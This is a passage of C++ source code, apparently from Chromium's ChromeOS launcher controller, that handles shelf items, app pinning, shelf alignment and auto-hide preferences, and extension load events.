extension_misc::EXTENSION_ICON_SMALL, this)); notification_registrar_.Add(this, chrome::NOTIFICATION_EXTENSION_LOADED, content::Source<Profile>(profile_)); notification_registrar_.Add(this, chrome::NOTIFICATION_EXTENSION_UNLOADED, content::Source<Profile>(profile_)); pref_change_registrar_.Init(profile_->GetPrefs()); pref_change_registrar_.Add( prefs::kPinnedLauncherApps, base::Bind(&ChromeLauncherControllerPerBrowser:: UpdateAppLaunchersFromPref, base::Unretained(this))); pref_change_registrar_.Add( prefs::kShelfAlignmentLocal, base::Bind(&ChromeLauncherControllerPerBrowser:: SetShelfAlignmentFromPrefs, base::Unretained(this))); pref_change_registrar_.Add( prefs::kShelfAutoHideBehaviorLocal, base::Bind(&ChromeLauncherControllerPerBrowser:: SetShelfAutoHideBehaviorFromPrefs, base::Unretained(this))); pref_change_registrar_.Add( prefs::kShelfPreferences, base::Bind(&ChromeLauncherControllerPerBrowser:: SetShelfBehaviorsFromPrefs, base::Unretained(this))); } ChromeLauncherControllerPerBrowser::~ChromeLauncherControllerPerBrowser() { // Reset the shell window controller here since it has a weak pointer to // this. shell_window_controller_.reset(); for (std::set<ash::Launcher*>::iterator iter = launchers_.begin(); iter != launchers_.end(); ++iter) (*iter)->shelf_widget()->shelf_layout_manager()->RemoveObserver(this); model_->RemoveObserver(this); if (ash::Shell::HasInstance()) ash::Shell::GetInstance()->display_controller()->RemoveObserver(this); for (IDToItemControllerMap::iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { i->second->OnRemoved(); model_->RemoveItemAt(model_->ItemIndexByID(i->first)); } if (ash::Shell::HasInstance()) ash::Shell::GetInstance()->RemoveShellObserver(this); if (app_sync_ui_state_) app_sync_ui_state_->RemoveObserver(this); PrefServiceSyncable::FromProfile(profile_)->RemoveObserver(this); } void ChromeLauncherControllerPerBrowser::Init() { UpdateAppLaunchersFromPref(); // TODO(sky): update unit test so that this test isn't necessary. if (ash::Shell::HasInstance()) { SetShelfAutoHideBehaviorFromPrefs(); SetShelfAlignmentFromPrefs(); PrefServiceSyncable* prefs = PrefServiceSyncable::FromProfile(profile_); if (!prefs->FindPreference(prefs::kShelfAlignmentLocal)->HasUserSetting() || !prefs->FindPreference(prefs::kShelfAutoHideBehaviorLocal)-> HasUserSetting()) { // This causes OnIsSyncingChanged to be called when the value of // PrefService::IsSyncing() changes. prefs->AddObserver(this); } ash::Shell::GetInstance()->AddShellObserver(this); } } ChromeLauncherControllerPerApp* ChromeLauncherControllerPerBrowser::GetPerAppInterface() { return NULL; } ash::LauncherID ChromeLauncherControllerPerBrowser::CreateTabbedLauncherItem( LauncherItemController* controller, IncognitoState is_incognito, ash::LauncherItemStatus status) { ash::LauncherID id = model_->next_id(); DCHECK(!HasItemController(id)); DCHECK(controller); id_to_item_controller_map_[id] = controller; controller->set_launcher_id(id); ash::LauncherItem item; item.type = ash::TYPE_TABBED; item.is_incognito = (is_incognito == STATE_INCOGNITO); item.status = status; model_->Add(item); return id; } ash::LauncherID ChromeLauncherControllerPerBrowser::CreateAppLauncherItem( LauncherItemController* controller, const std::string& app_id, ash::LauncherItemStatus status) { DCHECK(controller); return InsertAppLauncherItem(controller, app_id, status, model_->item_count()); } void ChromeLauncherControllerPerBrowser::SetItemStatus( ash::LauncherID id, ash::LauncherItemStatus status) { int index = model_->ItemIndexByID(id); DCHECK_GE(index, 0); ash::LauncherItem item = model_->items()[index]; item.status = status; model_->Set(index, item); } void ChromeLauncherControllerPerBrowser::SetItemController( ash::LauncherID id, LauncherItemController* controller) { IDToItemControllerMap::iterator iter = id_to_item_controller_map_.find(id); DCHECK(iter != id_to_item_controller_map_.end()); iter->second->OnRemoved(); iter->second = controller; controller->set_launcher_id(id); } void ChromeLauncherControllerPerBrowser::CloseLauncherItem( ash::LauncherID id) { if (IsPinned(id)) { // Create a new shortcut controller. IDToItemControllerMap::iterator iter = id_to_item_controller_map_.find(id); DCHECK(iter != id_to_item_controller_map_.end()); SetItemStatus(id, ash::STATUS_CLOSED); std::string app_id = iter->second->app_id(); iter->second->OnRemoved(); iter->second = new AppShortcutLauncherItemController(app_id, this); iter->second->set_launcher_id(id); } else { LauncherItemClosed(id); } } void ChromeLauncherControllerPerBrowser::Unpin(ash::LauncherID id) { DCHECK(HasItemController(id)); LauncherItemController* controller = id_to_item_controller_map_[id]; if (controller->type() == LauncherItemController::TYPE_APP) { int index = model_->ItemIndexByID(id); ash::LauncherItem item = model_->items()[index]; item.type = ash::TYPE_PLATFORM_APP; model_->Set(index, item); } else { LauncherItemClosed(id); } if (CanPin()) PersistPinnedState(); } void ChromeLauncherControllerPerBrowser::Pin(ash::LauncherID id) { DCHECK(HasItemController(id)); int index = model_->ItemIndexByID(id); ash::LauncherItem item = model_->items()[index]; if (item.type != ash::TYPE_PLATFORM_APP) return; item.type = ash::TYPE_APP_SHORTCUT; model_->Set(index, item); if (CanPin()) PersistPinnedState(); } bool ChromeLauncherControllerPerBrowser::IsPinned(ash::LauncherID id) { int index = model_->ItemIndexByID(id); ash::LauncherItemType type = model_->items()[index].type; return type == ash::TYPE_APP_SHORTCUT; } void ChromeLauncherControllerPerBrowser::TogglePinned(ash::LauncherID id) { if (!HasItemController(id)) return; // May happen if item closed with menu open. if (IsPinned(id)) Unpin(id); else Pin(id); } bool ChromeLauncherControllerPerBrowser::IsPinnable(ash::LauncherID id) const { int index = model_->ItemIndexByID(id); if (index == -1) return false; ash::LauncherItemType type = model_->items()[index].type; return ((type == ash::TYPE_APP_SHORTCUT || type == ash::TYPE_PLATFORM_APP) && CanPin()); } void ChromeLauncherControllerPerBrowser::LockV1AppWithID( const std::string& app_id) { } void ChromeLauncherControllerPerBrowser::UnlockV1AppWithID( const std::string& app_id) { } void ChromeLauncherControllerPerBrowser::Launch( ash::LauncherID id, int event_flags) { if (!HasItemController(id)) return; // In case invoked from menu and item closed while menu up. id_to_item_controller_map_[id]->Launch(event_flags); } void ChromeLauncherControllerPerBrowser::Close(ash::LauncherID id) { if (!HasItemController(id)) return; // May happen if menu closed. id_to_item_controller_map_[id]->Close(); } bool ChromeLauncherControllerPerBrowser::IsOpen(ash::LauncherID id) { if (!HasItemController(id)) return false; return id_to_item_controller_map_[id]->IsOpen(); } bool ChromeLauncherControllerPerBrowser::IsPlatformApp(ash::LauncherID id) { if (!HasItemController(id)) return false; std::string app_id = GetAppIDForLauncherID(id); const Extension* extension = GetExtensionForAppID(app_id); DCHECK(extension); return extension->is_platform_app(); } void ChromeLauncherControllerPerBrowser::LaunchApp(const std::string& app_id, int event_flags) { // |extension| could be NULL when it is being unloaded for updating. const Extension* extension = GetExtensionForAppID(app_id); if (!extension) return; const ExtensionService* service = extensions::ExtensionSystem::Get(profile_)->extension_service(); if (!service->IsExtensionEnabledForLauncher(app_id)) { // Do nothing if there is already a running enable flow. if (extension_enable_flow_) return; extension_enable_flow_.reset( new ExtensionEnableFlow(profile_, app_id, this)); extension_enable_flow_->StartForNativeWindow(NULL); return; } chrome::OpenApplication(chrome::AppLaunchParams(GetProfileForNewWindows(), extension, event_flags)); } void ChromeLauncherControllerPerBrowser::ActivateApp(const std::string& app_id, int event_flags) { if (app_id == extension_misc::kChromeAppId) { OnBrowserShortcutClicked(event_flags); return; } // If there is an existing non-shortcut controller for this app, open it. ash::LauncherID id = GetLauncherIDForAppID(app_id); URLPattern refocus_pattern(URLPattern::SCHEME_ALL); refocus_pattern.SetMatchAllURLs(true); if (id > 0) { LauncherItemController* controller = id_to_item_controller_map_[id]; if (controller->type() != LauncherItemController::TYPE_SHORTCUT) { controller->Activate(); return; } AppShortcutLauncherItemController* app_controller = static_cast<AppShortcutLauncherItemController*>(controller); const GURL refocus_url = app_controller->refocus_url(); if (!refocus_url.is_empty()) refocus_pattern.Parse(refocus_url.spec()); } // Check if there are any open tabs for this app. AppIDToWebContentsListMap::iterator app_i = app_id_to_web_contents_list_.find(app_id); if (app_i != app_id_to_web_contents_list_.end()) { for (WebContentsList::iterator tab_i = app_i->second.begin(); tab_i != app_i->second.end(); ++tab_i) { WebContents* tab = *tab_i; const GURL tab_url = tab->GetURL(); if (refocus_pattern.MatchesURL(tab_url)) { Browser* browser = chrome::FindBrowserWithWebContents(tab); TabStripModel* tab_strip = browser->tab_strip_model(); int index = tab_strip->GetIndexOfWebContents(tab); DCHECK_NE(TabStripModel::kNoTab, index); tab_strip->ActivateTabAt(index, false); browser->window()->Show(); ash::wm::ActivateWindow(browser->window()->GetNativeWindow()); return; } } } LaunchApp(app_id, event_flags); } extensions::ExtensionPrefs::LaunchType ChromeLauncherControllerPerBrowser::GetLaunchType(ash::LauncherID id) { DCHECK(HasItemController(id)); const Extension* extension = GetExtensionForAppID( id_to_item_controller_map_[id]->app_id()); return profile_->GetExtensionService()->extension_prefs()->GetLaunchType( extension, extensions::ExtensionPrefs::LAUNCH_DEFAULT); } std::string ChromeLauncherControllerPerBrowser::GetAppID( content::WebContents* tab) { return app_tab_helper_->GetAppID(tab); } ash::LauncherID ChromeLauncherControllerPerBrowser::GetLauncherIDForAppID( const std::string& app_id) { for (IDToItemControllerMap::const_iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { if (i->second->type() == LauncherItemController::TYPE_APP_PANEL) continue; // Don't include panels if (i->second->app_id() == app_id) return i->first; } return 0; } std::string ChromeLauncherControllerPerBrowser::GetAppIDForLauncherID( ash::LauncherID id) { DCHECK(HasItemController(id)); return id_to_item_controller_map_[id]->app_id(); } void ChromeLauncherControllerPerBrowser::SetAppImage( const std::string& id, const gfx::ImageSkia& image) { // TODO: need to get this working for shortcuts. for (IDToItemControllerMap::const_iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { if (i->second->app_id() != id) continue; int index = model_->ItemIndexByID(i->first); ash::LauncherItem item = model_->items()[index]; item.image = image; model_->Set(index, item); // It's possible we're waiting on more than one item, so don't break. } } void ChromeLauncherControllerPerBrowser::OnAutoHideBehaviorChanged( ash::ShelfAutoHideBehavior new_behavior) { std::string behavior_string; ash::Shell::RootWindowList root_windows; if (ash::Shell::IsLauncherPerDisplayEnabled()) root_windows = ash::Shell::GetAllRootWindows(); else root_windows.push_back(ash::Shell::GetPrimaryRootWindow()); for (ash::Shell::RootWindowList::const_iterator iter = root_windows.begin(); iter != root_windows.end(); ++iter) { SetShelfAutoHideBehaviorPrefs(new_behavior, *iter); } } void ChromeLauncherControllerPerBrowser::SetLauncherItemImage( ash::LauncherID launcher_id, const gfx::ImageSkia& image) { int index = model_->ItemIndexByID(launcher_id); if (index == -1) return; ash::LauncherItem item = model_->items()[index]; item.image = image; model_->Set(index, item); } bool ChromeLauncherControllerPerBrowser::IsAppPinned( const std::string& app_id) { for (IDToItemControllerMap::const_iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { if (IsPinned(i->first) && i->second->app_id() == app_id) return true; } return false; } void ChromeLauncherControllerPerBrowser::PinAppWithID( const std::string& app_id) { if (CanPin()) DoPinAppWithID(app_id); else NOTREACHED(); } void ChromeLauncherControllerPerBrowser::SetLaunchType( ash::LauncherID id, extensions::ExtensionPrefs::LaunchType launch_type) { if (!HasItemController(id)) return; return profile_->GetExtensionService()->extension_prefs()->SetLaunchType( id_to_item_controller_map_[id]->app_id(), launch_type); } void ChromeLauncherControllerPerBrowser::UnpinAppsWithID( const std::string& app_id) { if (CanPin()) DoUnpinAppsWithID(app_id); else NOTREACHED(); } bool ChromeLauncherControllerPerBrowser::IsLoggedInAsGuest() { return ProfileManager::GetDefaultProfileOrOffTheRecord()->IsOffTheRecord(); } void ChromeLauncherControllerPerBrowser::CreateNewWindow() { chrome::NewEmptyWindow( GetProfileForNewWindows(), chrome::HOST_DESKTOP_TYPE_ASH); } void ChromeLauncherControllerPerBrowser::CreateNewIncognitoWindow() { chrome::NewEmptyWindow(GetProfileForNewWindows()->GetOffTheRecordProfile(), chrome::HOST_DESKTOP_TYPE_ASH); } bool ChromeLauncherControllerPerBrowser::CanPin() const { const PrefService::Preference* pref = profile_->GetPrefs()->FindPreference(prefs::kPinnedLauncherApps); return pref && pref->IsUserModifiable(); } ash::ShelfAutoHideBehavior ChromeLauncherControllerPerBrowser::GetShelfAutoHideBehavior( aura::RootWindow* root_window) const { // Don't show the shelf in the app mode. if (chrome::IsRunningInAppMode()) return ash::SHELF_AUTO_HIDE_ALWAYS_HIDDEN; // See comment in |kShelfAlignment| as to why we consider two prefs. const std::string behavior_value( GetPrefForRootWindow(profile_->GetPrefs(), root_window, prefs::kShelfAutoHideBehaviorLocal, prefs::kShelfAutoHideBehavior)); // Note: To maintain sync compatibility with old images of chrome/chromeos // the set of values that may be encountered includes the now-extinct // "Default" as well as "Never" and "Always", "Default" should now // be treated as "Never" (http://crbug.com/146773). if (behavior_value == ash::kShelfAutoHideBehaviorAlways) return ash::SHELF_AUTO_HIDE_BEHAVIOR_ALWAYS; return ash::SHELF_AUTO_HIDE_BEHAVIOR_NEVER; } bool ChromeLauncherControllerPerBrowser::CanUserModifyShelfAutoHideBehavior( aura::RootWindow* root_window) const { return profile_->GetPrefs()-> FindPreference(prefs::kShelfAutoHideBehaviorLocal)->IsUserModifiable(); } void ChromeLauncherControllerPerBrowser::ToggleShelfAutoHideBehavior( aura::RootWindow* root_window) { ash::ShelfAutoHideBehavior behavior = GetShelfAutoHideBehavior(root_window) == ash::SHELF_AUTO_HIDE_BEHAVIOR_ALWAYS ? ash::SHELF_AUTO_HIDE_BEHAVIOR_NEVER : ash::SHELF_AUTO_HIDE_BEHAVIOR_ALWAYS; SetShelfAutoHideBehaviorPrefs(behavior, root_window); return; } void ChromeLauncherControllerPerBrowser::RemoveTabFromRunningApp( WebContents* tab, const std::string& app_id) { web_contents_to_app_id_.erase(tab); AppIDToWebContentsListMap::iterator i_app_id = app_id_to_web_contents_list_.find(app_id); if (i_app_id != app_id_to_web_contents_list_.end()) { WebContentsList* tab_list = &i_app_id->second; tab_list->remove(tab); if (tab_list->empty()) { app_id_to_web_contents_list_.erase(i_app_id); i_app_id = app_id_to_web_contents_list_.end(); ash::LauncherID id = GetLauncherIDForAppID(app_id); if (id > 0) SetItemStatus(id, ash::STATUS_CLOSED); } } } void ChromeLauncherControllerPerBrowser::UpdateAppState( content::WebContents* contents, AppState app_state) { std::string app_id = GetAppID(contents); // Check the old |app_id| for a tab. If the contents has changed we need to // remove it from the previous app. if (web_contents_to_app_id_.find(contents) != web_contents_to_app_id_.end()) { std::string last_app_id = web_contents_to_app_id_[contents]; if (last_app_id != app_id) RemoveTabFromRunningApp(contents, last_app_id); } if (app_id.empty()) return; web_contents_to_app_id_[contents] = app_id; if (app_state == APP_STATE_REMOVED) { // The tab has gone away. RemoveTabFromRunningApp(contents, app_id); } else { WebContentsList& tab_list(app_id_to_web_contents_list_[app_id]); if (app_state == APP_STATE_INACTIVE) { WebContentsList::const_iterator i_tab = std::find(tab_list.begin(), tab_list.end(), contents); if (i_tab == tab_list.end()) tab_list.push_back(contents); if (i_tab != tab_list.begin()) { // Going inactive, but wasn't the front tab, indicating that a new // tab has already become active. return; } } else { tab_list.remove(contents); tab_list.push_front(contents); } ash::LauncherID id = GetLauncherIDForAppID(app_id); if (id > 0) { // If the window is active, mark the app as active. SetItemStatus(id, app_state == APP_STATE_WINDOW_ACTIVE ? ash::STATUS_ACTIVE : ash::STATUS_RUNNING); } } } void ChromeLauncherControllerPerBrowser::SetRefocusURLPatternForTest( ash::LauncherID id, const GURL& url) { DCHECK(HasItemController(id)); LauncherItemController* controller = id_to_item_controller_map_[id]; int index = model_->ItemIndexByID(id); if (index == -1) { NOTREACHED() << "Invalid launcher id"; return; } ash::LauncherItemType type = model_->items()[index].type; if (type == ash::TYPE_APP_SHORTCUT) { AppShortcutLauncherItemController* app_controller = static_cast<AppShortcutLauncherItemController*>(controller); app_controller->set_refocus_url(url); } else { NOTREACHED() << "Invalid launcher type"; } } const Extension* ChromeLauncherControllerPerBrowser::GetExtensionForAppID( const std::string& app_id) const { return profile_->GetExtensionService()->GetInstalledExtension(app_id); } void ChromeLauncherControllerPerBrowser::OnBrowserShortcutClicked( int event_flags) { if (event_flags & ui::EF_CONTROL_DOWN) { CreateNewWindow(); return; } Browser* last_browser = chrome::FindTabbedBrowser( GetProfileForNewWindows(), true, chrome::HOST_DESKTOP_TYPE_ASH); if (!last_browser) { CreateNewWindow(); return; } aura::Window* window = last_browser->window()->GetNativeWindow(); window->Show(); ash::wm::ActivateWindow(window); } void ChromeLauncherControllerPerBrowser::ItemClicked( const ash::LauncherItem& item, const ui::Event& event) { DCHECK(HasItemController(item.id)); id_to_item_controller_map_[item.id]->Clicked(event); } int ChromeLauncherControllerPerBrowser::GetBrowserShortcutResourceId() { return IDR_PRODUCT_LOGO_32; } string16 ChromeLauncherControllerPerBrowser::GetTitle( const ash::LauncherItem& item) { DCHECK(HasItemController(item.id)); return id_to_item_controller_map_[item.id]->GetTitle(); } ui::MenuModel* ChromeLauncherControllerPerBrowser::CreateContextMenu( const ash::LauncherItem& item, aura::RootWindow* root_window) { return new LauncherContextMenu(this, &item, root_window); } ash::LauncherMenuModel* ChromeLauncherControllerPerBrowser::CreateApplicationMenu( const ash::LauncherItem& item, int event_flags) { // Not used by this launcher type. return NULL; } ash::LauncherID ChromeLauncherControllerPerBrowser::GetIDByWindow( aura::Window* window) { for (IDToItemControllerMap::const_iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { if (i->second->HasWindow(window)) return i->first; } return 0; } bool ChromeLauncherControllerPerBrowser::IsDraggable( const ash::LauncherItem& item) { return item.type == ash::TYPE_APP_SHORTCUT ? CanPin() : true; } bool ChromeLauncherControllerPerBrowser::ShouldShowTooltip( const ash::LauncherItem& item) { if (item.type == ash::TYPE_APP_PANEL && id_to_item_controller_map_[item.id]->IsVisible()) return false; return true; } void ChromeLauncherControllerPerBrowser::OnLauncherCreated( ash::Launcher* launcher) { launchers_.insert(launcher); launcher->shelf_widget()->shelf_layout_manager()->AddObserver(this); } void ChromeLauncherControllerPerBrowser::OnLauncherDestroyed( ash::Launcher* launcher) { launchers_.erase(launcher); // RemoveObserver is not called here, since by the time this method is called // Launcher is already in its destructor. } void ChromeLauncherControllerPerBrowser::LauncherItemAdded(int index) { } void ChromeLauncherControllerPerBrowser::LauncherItemRemoved( int index, ash::LauncherID id) { } void ChromeLauncherControllerPerBrowser::LauncherItemMoved( int start_index, int target_index) { ash::LauncherID id = model_->items()[target_index].id; if (HasItemController(id) && IsPinned(id)) PersistPinnedState(); } void ChromeLauncherControllerPerBrowser::LauncherItemChanged( int index, const ash::LauncherItem& old_item) { ash::LauncherID id = model_->items()[index].id; id_to_item_controller_map_[id]->LauncherItemChanged(index, old_item); } void ChromeLauncherControllerPerBrowser::LauncherStatusChanged() { } void ChromeLauncherControllerPerBrowser::Observe( int type, const content::NotificationSource& source, const content::NotificationDetails& details) { switch (type) { case chrome::NOTIFICATION_EXTENSION_LOADED: { const Extension* extension = content::Details<const Extension>(details).ptr(); if (IsAppPinned(extension->id())) { // Clear and re-fetch to ensure icon is up-to-date. app_icon_loader_->ClearImage(extension->id()); app_icon_loader_->FetchImage(extension->id()); } UpdateAppLaunchersFromPref(); break; } case chrome::NOTIFICATION_EXTENSION_UNLOADED: { const content::Details<extensions::UnloadedExtensionInfo>& unload_info( details); const Extension* extension = unload_info->extension; if (IsAppPinned(extension->id())) { if (unload_info->reason == extension_misc::UNLOAD_REASON_UNINSTALL) { DoUnpinAppsWithID(extension->id()); app_icon_loader_->ClearImage(extension->id()); } else { app_icon_loader_->UpdateImage(extension->id()); } } break; } default: NOTREACHED() << "Unexpected notification type=" << type; } } void ChromeLauncherControllerPerBrowser::OnShelfAlignmentChanged( aura::RootWindow* root_window) { const char* pref_value = NULL; switch (ash::Shell::GetInstance()->GetShelfAlignment(root_window)) { case ash::SHELF_ALIGNMENT_BOTTOM: pref_value = ash::kShelfAlignmentBottom; break; case ash::SHELF_ALIGNMENT_LEFT: pref_value = ash::kShelfAlignmentLeft; break; case ash::SHELF_ALIGNMENT_RIGHT: pref_value = ash::kShelfAlignmentRight; break; case ash::SHELF_ALIGNMENT_TOP: pref_value = ash::kShelfAlignmentTop; break; } UpdatePerDisplayPref( profile_->GetPrefs(), root_window, prefs::kShelfAlignment, pref_value); if (root_window == ash::Shell::GetPrimaryRootWindow()) { // See comment in |kShelfAlignment| about why we have two prefs here. profile_->GetPrefs()->SetString(prefs::kShelfAlignmentLocal, pref_value); profile_->GetPrefs()->SetString(prefs::kShelfAlignment, pref_value); } } void ChromeLauncherControllerPerBrowser::OnDisplayConfigurationChanging() { } void ChromeLauncherControllerPerBrowser::OnDisplayConfigurationChanged() { SetShelfBehaviorsFromPrefs(); } void ChromeLauncherControllerPerBrowser::OnIsSyncingChanged() { PrefServiceSyncable* prefs = PrefServiceSyncable::FromProfile(profile_); MaybePropagatePrefToLocal(prefs, prefs::kShelfAlignmentLocal, prefs::kShelfAlignment); MaybePropagatePrefToLocal(prefs, prefs::kShelfAutoHideBehaviorLocal, prefs::kShelfAutoHideBehavior); } void ChromeLauncherControllerPerBrowser::OnAppSyncUIStatusChanged() { if (app_sync_ui_state_->status() == AppSyncUIState::STATUS_SYNCING) model_->SetStatus(ash::LauncherModel::STATUS_LOADING); else model_->SetStatus(ash::LauncherModel::STATUS_NORMAL); } void ChromeLauncherControllerPerBrowser::ExtensionEnableFlowFinished() { LaunchApp(extension_enable_flow_->extension_id(), ui::EF_NONE); extension_enable_flow_.reset(); } void ChromeLauncherControllerPerBrowser::ExtensionEnableFlowAborted( bool user_initiated) { extension_enable_flow_.reset(); } void ChromeLauncherControllerPerBrowser::PersistPinnedState() { // It is a coding error to call PersistPinnedState() if the pinned apps are // not user-editable. The code should check earlier and not perform any // modification actions that trigger persisting the state. if (!CanPin()) { NOTREACHED() << "Can't pin but pinned state being updated"; return; } // Mutating kPinnedLauncherApps is going to notify us and trigger us to // process the change. We don't want that to happen so remove ourselves as a // listener. pref_change_registrar_.Remove(prefs::kPinnedLauncherApps); { ListPrefUpdate updater(profile_->GetPrefs(), prefs::kPinnedLauncherApps); updater->Clear(); for (size_t i = 0; i < model_->items().size(); ++i) { if (model_->items()[i].type == ash::TYPE_APP_SHORTCUT) { ash::LauncherID id = model_->items()[i].id; if (HasItemController(id) && IsPinned(id)) { base::DictionaryValue* app_value = ash::CreateAppDict( id_to_item_controller_map_[id]->app_id()); if (app_value) updater->Append(app_value); } } } } pref_change_registrar_.Add( prefs::kPinnedLauncherApps, base::Bind(&ChromeLauncherControllerPerBrowser:: UpdateAppLaunchersFromPref, base::Unretained(this))); } ash::LauncherModel* ChromeLauncherControllerPerBrowser::model() { return model_; } Profile* ChromeLauncherControllerPerBrowser::profile() { return profile_; } Profile* ChromeLauncherControllerPerBrowser::GetProfileForNewWindows() { return ProfileManager::GetDefaultProfileOrOffTheRecord(); } void ChromeLauncherControllerPerBrowser::LauncherItemClosed( ash::LauncherID id) { IDToItemControllerMap::iterator iter = id_to_item_controller_map_.find(id); DCHECK(iter != id_to_item_controller_map_.end()); app_icon_loader_->ClearImage(iter->second->app_id()); iter->second->OnRemoved(); id_to_item_controller_map_.erase(iter); model_->RemoveItemAt(model_->ItemIndexByID(id)); } void ChromeLauncherControllerPerBrowser::DoPinAppWithID( const std::string& app_id) { // If there is an item, do nothing and return. if (IsAppPinned(app_id)) return; ash::LauncherID launcher_id = GetLauncherIDForAppID(app_id); if (launcher_id) { // App item exists, pin it Pin(launcher_id); } else { // Otherwise, create a shortcut item for it. CreateAppShortcutLauncherItem(app_id, model_->item_count()); if (CanPin()) PersistPinnedState(); } } void ChromeLauncherControllerPerBrowser::DoUnpinAppsWithID( const std::string& app_id) { for (IDToItemControllerMap::iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ) { IDToItemControllerMap::iterator current(i); ++i; if (current->second->app_id() == app_id && IsPinned(current->first)) Unpin(current->first); } } void ChromeLauncherControllerPerBrowser::UpdateAppLaunchersFromPref() { // Construct a vector representation of to-be-pinned apps from the pref. std::vector<std::string> pinned_apps; const base::ListValue* pinned_apps_pref = profile_->GetPrefs()->GetList(prefs::kPinnedLauncherApps); for (base::ListValue::const_iterator it(pinned_apps_pref->begin()); it != pinned_apps_pref->end(); ++it) { DictionaryValue* app = NULL; std::string app_id; if ((*it)->GetAsDictionary(&app) && app->GetString(ash::kPinnedAppsPrefAppIDPath, &app_id) && std::find(pinned_apps.begin(), pinned_apps.end(), app_id) == pinned_apps.end() && app_tab_helper_->IsValidID(app_id)) { pinned_apps.push_back(app_id); } } // Walk the model and |pinned_apps| from the pref lockstep, adding and // removing items as necessary. NB: This code uses plain old indexing instead // of iterators because of model mutations as part of the loop. std::vector<std::string>::const_iterator pref_app_id(pinned_apps.begin()); int index = 0; for (; index < model_->item_count() && pref_app_id != pinned_apps.end(); ++index) { // If the next app launcher according to the pref is present in the model, // delete all app launcher entries in between. if (IsAppPinned(*pref_app_id)) { for (; index < model_->item_count(); ++index) { const ash::LauncherItem& item(model_->items()[index]); if (item.type != ash::TYPE_APP_SHORTCUT) continue; IDToItemControllerMap::const_iterator entry = id_to_item_controller_map_.find(item.id); if (entry != id_to_item_controller_map_.end() && entry->second->app_id() == *pref_app_id) { ++pref_app_id; break; } else { LauncherItemClosed(item.id); --index; } } // If the item wasn't found, that means id_to_item_controller_map_ // is out of sync. DCHECK(index < model_->item_count()); } else { // This app wasn't pinned before, insert a new entry. ash::LauncherID id = CreateAppShortcutLauncherItem(*pref_app_id, index); index = model_->ItemIndexByID(id); ++pref_app_id; } } // Remove any trailing existing items. while (index < model_->item_count()) { const ash::LauncherItem& item(model_->items()[index]); if (item.type == ash::TYPE_APP_SHORTCUT) LauncherItemClosed(item.id); else ++index; } // Append unprocessed items from the pref to the end of the model. for (; pref_app_id != pinned_apps.end(); ++pref_app_id) DoPinAppWithID(*pref_app_id); } void ChromeLauncherControllerPerBrowser::SetShelfAutoHideBehaviorPrefs( ash::ShelfAutoHideBehavior behavior, aura::RootWindow* root_window) { const char* value = NULL; switch (behavior) { case ash::SHELF_AUTO_HIDE_BEHAVIOR_ALWAYS: value = ash::kShelfAutoHideBehaviorAlways; break; case ash::SHELF_AUTO_HIDE_BEHAVIOR_NEVER: value = ash::kShelfAutoHideBehaviorNever; break; case ash::SHELF_AUTO_HIDE_ALWAYS_HIDDEN: // This one should not be a valid preference option for now. We only want // to completely hide it when we run app mode. NOTREACHED(); return; } UpdatePerDisplayPref( profile_->GetPrefs(), root_window, prefs::kShelfAutoHideBehavior, value); if (root_window == ash::Shell::GetPrimaryRootWindow()) { // See comment in |kShelfAlignment| about why we have two prefs here. profile_->GetPrefs()->SetString(prefs::kShelfAutoHideBehaviorLocal, value); profile_->GetPrefs()->SetString(prefs::kShelfAutoHideBehavior, value); } } void ChromeLauncherControllerPerBrowser::SetShelfAutoHideBehaviorFromPrefs() { ash::Shell::RootWindowList root_windows; if (ash::Shell::IsLauncherPerDisplayEnabled()) root_windows = ash::Shell::GetAllRootWindows(); else root_windows.push_back(ash::Shell::GetPrimaryRootWindow()); for (ash::Shell::RootWindowList::const_iterator iter = root_windows.begin(); iter != root_windows.end(); ++iter) { ash::Shell::GetInstance()->SetShelfAutoHideBehavior( GetShelfAutoHideBehavior(*iter), *iter); } } void ChromeLauncherControllerPerBrowser::SetShelfAlignmentFromPrefs() { if (!CommandLine::ForCurrentProcess()->HasSwitch( switches::kShowLauncherAlignmentMenu)) return; ash::Shell::RootWindowList root_windows; if (ash::Shell::IsLauncherPerDisplayEnabled()) root_windows = ash::Shell::GetAllRootWindows(); else root_windows.push_back(ash::Shell::GetPrimaryRootWindow()); for (ash::Shell::RootWindowList::const_iterator iter = root_windows.begin(); iter != root_windows.end(); ++iter) { // See comment in |kShelfAlignment| as to why we consider two prefs. const std::string alignment_value( GetPrefForRootWindow(profile_->GetPrefs(), *iter, prefs::kShelfAlignmentLocal, prefs::kShelfAlignment)); ash::ShelfAlignment alignment = ash::SHELF_ALIGNMENT_BOTTOM; if (alignment_value == ash::kShelfAlignmentLeft) alignment = ash::SHELF_ALIGNMENT_LEFT; else if (alignment_value == ash::kShelfAlignmentRight) alignment = ash::SHELF_ALIGNMENT_RIGHT; else if (alignment_value == ash::kShelfAlignmentTop) alignment = ash::SHELF_ALIGNMENT_TOP; ash::Shell::GetInstance()->SetShelfAlignment(alignment, *iter); } } void ChromeLauncherControllerPerBrowser::SetShelfBehaviorsFromPrefs() { SetShelfAutoHideBehaviorFromPrefs(); SetShelfAlignmentFromPrefs(); } WebContents* ChromeLauncherControllerPerBrowser::GetLastActiveWebContents( const std::string& app_id) { AppIDToWebContentsListMap::const_iterator i = app_id_to_web_contents_list_.find(app_id); if (i == app_id_to_web_contents_list_.end()) return NULL; DCHECK_GT(i->second.size(), 0u); return *i->second.begin(); } ash::LauncherID ChromeLauncherControllerPerBrowser::InsertAppLauncherItem( LauncherItemController* controller, const std::string& app_id, ash::LauncherItemStatus status, int index) { ash::LauncherID id = model_->next_id(); DCHECK(!HasItemController(id)); DCHECK(controller); id_to_item_controller_map_[id] = controller; controller->set_launcher_id(id); ash::LauncherItem item; item.type = controller->GetLauncherItemType(); item.is_incognito = false; item.image = extensions::IconsInfo::GetDefaultAppIcon(); WebContents* active_tab = GetLastActiveWebContents(app_id); if (active_tab) { Browser* browser = chrome::FindBrowserWithWebContents(active_tab); DCHECK(browser); if (browser->window()->IsActive()) status = ash::STATUS_ACTIVE; else status = ash::STATUS_RUNNING; } item.status = status; model_->AddAt(index, item); app_icon_loader_->FetchImage(app_id); return id; } bool ChromeLauncherControllerPerBrowser::HasItemController( ash::LauncherID id) const { return 